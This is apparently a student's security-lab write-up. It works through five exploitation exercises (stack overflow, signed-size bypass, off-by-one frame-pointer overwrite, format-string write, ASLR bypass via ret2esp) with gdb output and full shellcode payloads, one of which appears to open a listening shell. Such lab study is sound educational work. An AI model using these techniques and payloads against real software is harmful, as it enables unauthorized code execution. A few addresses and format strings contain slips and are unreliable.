■Q1

The vulnerability in this first part is that even though door[8] is defined to hold 8 characters, there is no array bound checking, so the attacker can override far beyond the array, and over frame pointers and return addresses above. The attacker is also outright given the opportunity for user input in the gets(door) command, where the input can really be of any length, overflowing door.

First, I had to locate which addresses were door[8], the frame pointer for dejavu, and the return address. Because the shellcode is 39 bytes and door only holds 8 bytes, we cannot actually fit the shellcode in the array, but that is not a problem. The plan will be to place the shellcode above the return address, and overwrite the return address with whatever address the shellcode is located at. As for the 8 bytes in door and the frame pointer, that did not matter, and we could put garbage, or put copies of the return address just to be "safe."

```
[(gdb) n
[aaaa
8       }
[(gdb) x/10x $esp
0xbffffcf0:     0x00000000      0xb7ffefd8      0x61616161      0xb7ff0000
0xbffffd00:     0x00000000      0x00000000      0xbffffd18      0xb7ffc4d3
0xbffffd10:     0x00000000      0xbffffd30
```

```
[(gdb) info frame
Stack level 0, frame at 0xbffffd10:
 eip = 0xb7ffc4ba in deja_vu (dejavu.c:8); saved eip = 0xb7ffc4d3
 called by frame at 0xbffffd30
 source language c.
 Arglist at 0xbffffd08, args:
 Locals at 0xbffffd08, Previous frame's sp is 0xbffffd10
 Saved registers:
  ebp at 0xbffffd08, eip at 0xbffffd0c
```

As we can see, after passing in aaaa to gets, the door array reveals its location at address 0xbffffcf8. Calling info frame also reveals the return address at 0xbffffd0c. Therefore, we can overwrite the return address with 0xbffffd0c + 4 = 0xbffffd10, and place the shellcode at 0xbffffd10. I filled in the addresses between the beginning of door and the return address with garbage (copies of the return address), yielding the final result of
'\x10\xfd\xff\xbf\x10\xfd\xff\xbf\x10\xfd\xff\xbf\x10\xfd\xff\xbf\x10\xfd\xff\xbf\x10\xfd\xff\xbf
\x6a\
x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\
x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'.

■Q2

The vulnerability in agent-smith.c is that even though it appears to have array bound checking, the bound checking variable size is actually modifiable by the user and it is a signed int8_t variable. This is because this program uses the function fread, and the first character that fread reads becomes the value that size points to. So if I passed in z as the first input, then the amount of bytes I can write to the array will be 122 (z in decimal) bytes!

Because size is signed, I can pass in \x9c, which is 156 in decimal and is a number greater than the size of message[128], and if I print size at line 17, the variable of size actually holds the value -100, which would bypass the check of size > 128.

```
17          if (n == 0 || size > 128)
```

```
(gdb) p size
$1 = -100 '\234'
```

Knowing this vulnerability, we can now exploit it. Once again, the plan is to set the first byte to a big enough value, like \x9c (156) so we can write as many bytes as we need, and then the shellcode (which can fit in the array this time), and overwrite the return address to the address of the shellcode.

```
aaa


Breakpoint 1, display (path=0xbffffea4 "test.txt") at agent-smith.c:22
22      }
(gdb) x/10x $esp
0xbffffc50:     0x00000000      0x61ffcf5c      0x0a616161      0x00000000
0xbffffc60:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc70:     0x00000000      0x00000000
(gdb)
0xbffffc78:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc88:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc98:     0x00000000      0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffffcf0:
 eip = 0x400736 in display (agent-smith.c:22); saved eip = 0x400775
 called by frame at 0xbffffd20
 source language c.
 Arglist at 0xbffffce8, args: path=0xbffffea4 "test.txt"
 Locals at 0xbffffce8, Previous frame's sp is 0xbffffcf0
 Saved registers:
  ebx at 0xbffffce4, ebp at 0xbffffce8, eip at 0xbffffcec
```

Passing in a test input aaa, the message array starts at 0xbffffc58. We will place our big number \x9c as the first element, and then the shellcode right above that. Finally, because as a hacker the main goal is efficiency, we know if we want to overwrite the ra at 0xbffffcec, let's just spam the shellcode address 0xbffffc58 repeatedly so that when display returns, it will point directly to the "big number" + shellcode. Between the shellcode and the shellcode address spam, I put a noop /x90 to align the shellcode addresses with the return address I will overwrite. The final result is:

\x9c + shellcode + \x90 +

\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x

58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf\x58\xfc\xff\xbf

■Q3

The program has an Off by one vulnerability. At line 9, it checks i<=64 which allows an attacker to write to buf[64] which is the least significant byte of saved frame pointer.

```
for (i = 0; i < n && i <= 64; ++i)
        buf[i] = input[i] ^ (1u << 5);
```

An attacker can forge the sfp to point into the buffer and by taking advantage of the function epilogues, an attacker can make the program execute the shellcode.

First, I used the environmental variable ENV to store the shellcode. Using gdb, I found that ENV is placed in env[2] at 0xbfffff8b.

```
(gdb) x/wx $ebp+0x10
0xbffffcc8:     0xbffffd40
(gdb) x/wx 0xbffffd40 + 8
0xbffffd48:     0xbfffff83
(gdb) x/s 0xbfffff83
0xbfffff83:     "ENV=\220\220\220\220\220\220\220\220j1X̀\211É\301jFX̀1\300Ph//shh/binT[PS\211\341\061
¥\v̀"
```

In order to place 0xbfffff8b into the buffer, I need to take xor with (1u << 5) for every byte. If I flip the 6th bit of each byte, it will give a string “\xab\xdf\xdf\x9f”. Now I can place this string from buf[60] - buf[63], then the sfp needs to point to buf[56] which is ebp - 8 = 0xbffffca0 - 8 = 0xbffffc98. Since the current sfp is 0xbffffcac, I just need to modify the least significant byte which we can modify because sfp is placed right above buf which means buf[64] is the least significant byte of sfp. In order to store 0xbffffc98 in sfp, I took 0x98 xor (1u << 5) = b8, and stored in buf[64]. I can fill in from buf[0] to buf[59] with any junk. This will give a string "a" * 60 + "\xab\xdf\xdf\x9f" + "\xb8", and it will look as follows:

```
(gdb) x/20xw $esp
0xbffffc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc90:     0x41414141      0x41414141      0x41414141      0xbfffff8b
0xbffffca0:     0xbffffc98      0xb7ffc539      0xbffffe3c      0xbffffcb8
```

Here is the description about how it will lead to the execution of the shellcode.

Function epilogues: mov %ebp, %esp - (1), pop %ebp - (2), pop %eip - (3)

In the function epilogues for the invoke function, after (1) is executed, the ebp and the esp point to the sfp. After (2), the ebp points to 0xbffffc98 and the esp points to the rip.

After (3), the esp points to the top of dispatch’s stack frame. Next, we have the function epilogues for the dispatch function. After (1), the esp and the ebp point to 0xbffffc98. After (2), the esp is incremented by 4 bytes and point to 0xbffffc9c which is buf[60]. After (3), the eip is overwritten with 0xbfffff8b which is the address where the shellcode is stored. The program will execute the shellcode next.

■Q4

At line 8, the program has a string format vulnerability. Because the program allows an attacker to pass any arguments to the printf function, even if we have the stack canary, an attacker can overwrite the return address without overwriting the stack canary, which allows the program to execute the shellcode.

First, using the following string, I printed out the contents of the stack above printf and I identified that string[0] is at the 7th argument to the printf:
print "aaaa" + " %08x %08x %08x %08x %08x %08x %08x"

```
pwnable:~$ ./exploit
aaaa 00000001 00000020 0040063c 00000000 00000280 00000180 61616161
```

Since the address where the rip is stored is 0xbffffd0c, upper 2 bytes are stored at 0xbffffd0e. In order to overwrite the upper 2 bytes of the rip of oracle(), I need to store 0xbffffd0e into string[0] - string[3] and move the print()’s internal pointer by 6 times using %x, then use %hn to overwrite the upper half of rip. Next, in order to overwrite the lower 2 bytes of rip, I need to first increment the number of characters printed using %<some number>x, and use %hn to write to the target. This means I need to store the address of rip (0xbffffd0c) into string[8] - string[11] because %15571x will increment the printf()’s internal pointer. We can fill out string[4] - string[7] with “%x%x” because that would reduce the total number of characters needed inside the string buffer. Now, the only thing I need to figure out is where the shellcode is stored so that I can overwrite the rip with the address of the shellcode. With the following string, I figured out that the shellcode starts at 0xbffffcd2:
"\x0e\xfd\xff\xbf" + "%x%x" + "\x0c\xfd\xff\xbf"+ "%x" * 3 + "%49130x" + "hhn"+ "%10000x" + "hhn" + "aaaaaaaaaaaaaaaaaaaaaaaaa"

```
(gdb) x/30xw $esp
0xbffffca0:     0x00000000      0x00000280      0x00000180      0xbffffd0e
0xbffffcb0:     0x78257825      0xbffffd0c      0x78257825      0x34257825
0xbffffcc0:     0x30333139      0x6e686878      0x30303125      0x68783030
0xbffffcd0:     0x61616e68      0x61616161      0x61616161      0x61616161
0xbffffce0:     0x61616161      0x61616161      0x00616161      0x00000300
0xbffffcf0:     0x00000000      0x00000000      0x00000000      0xd4f9d1c2
0xbffffd00:     0x00000000      0xb7ffcf5c      0xbffffd18      0x004006a2
0xbffffd10:     0x00000000      0xbffffd30
```

In order to store 0xbfff which is 49151 in decimal into the upper 2 bytes, since I already have 25 characters, I need to pad out 49151 - 25 = 49126 more characters. And in order to store fcd2 (64722), I need 64722 - 49154 = 15570 more characters. I tried writing it to 0xbffffcd0 so that I can see if I’m writing the correct value. And it turns out it was a little off:

```
(gdb) x/xw 0xbffffcd0
0xbffffcd0:     0xbffbfccd
```

After some trial and error, I got the value 0xbffffcd2:

```
(gdb) x/xw 0xbffffcd0
0xbffffcd0:     0xbffffcd2
```

And by changing the target address to rip, and adding the shellcode at the end of the string, I got the final solution:

"\x0e\xfd\xff\xbf" + "%x%x" + "\x0c\xfd\xff\xbf"+ "%x" * 3 + "%49130x" + "%hn"+ "%15571x" + "%hn" + shellcode

■Q5

ASLR has two main properties for the purpose of this question: It rearranges the stack & heap around, but in our favor, the relative distances between addresses inside each memory section are still the same. So even though we cannot guarantee what address the shellcode and return address will be in, we can guarantee that it will be a certain distance from the beginning of our buffer.

To exploit this, we used the ret2esp method. The idea behind this is that we override the rip with a command that is “jump to esp” which is interpreted as 0xffe4 in hex. In an average program, there are many 0xffe4 hiding around, and so I had to look through a few functions for this combination. It turns out that there is a 0xffe4 hiding in the magic function, at the address 0x8040666. Therefore, since the .text segment of the binary is always at the same spot, this is the address we overwrite the rip with, so when we return, we jump to the esp.

```
(gdb) x/10x magic
0x8048644 <magic>:      0xe8e58955      0x000002e0      0x00196405      0x0c458b00
0x8048654 <magic+16>:   0x3103e0c1      0x458b0845      0x03e0c108      0x810c4531
0x8048664 <magic+32>:   0xe4ff084d      0x4d8b0000
```

Finally, we need to place the shellcode at the esp. Luckily, the Intel x86 command to return effectively pops the rip from the stack, and moves the esp up by 4. So we put our shellcode above the esp.

Because of ASLR, it will not benefit us to remember what address every significant register is at, but we can calculate the distance between the start of our buffer and the rip. For just 1 specific instance of debugging, the beginning of buf[32] was at 0xbf896a90 and the rip was at 0xbf896abc. Subtracting the two, there are 44 bytes in between. We can overwrite them with garbage, then overwrite the return address with the address of 0xffe4 in magic which was 0x8040666, and then place the shellcode above. The final result is below:

\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\xd2\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 +
\x66\x86\x04\x08 + \xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a +
\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67 +
\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff +
\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79 +
\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 +
\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3

A slight note that in buf, the inputs were xored with 0x42, so if we wanted to place noops in buf, we had to put 0xd2 because 0xd2 xor 0x42 = 0x90.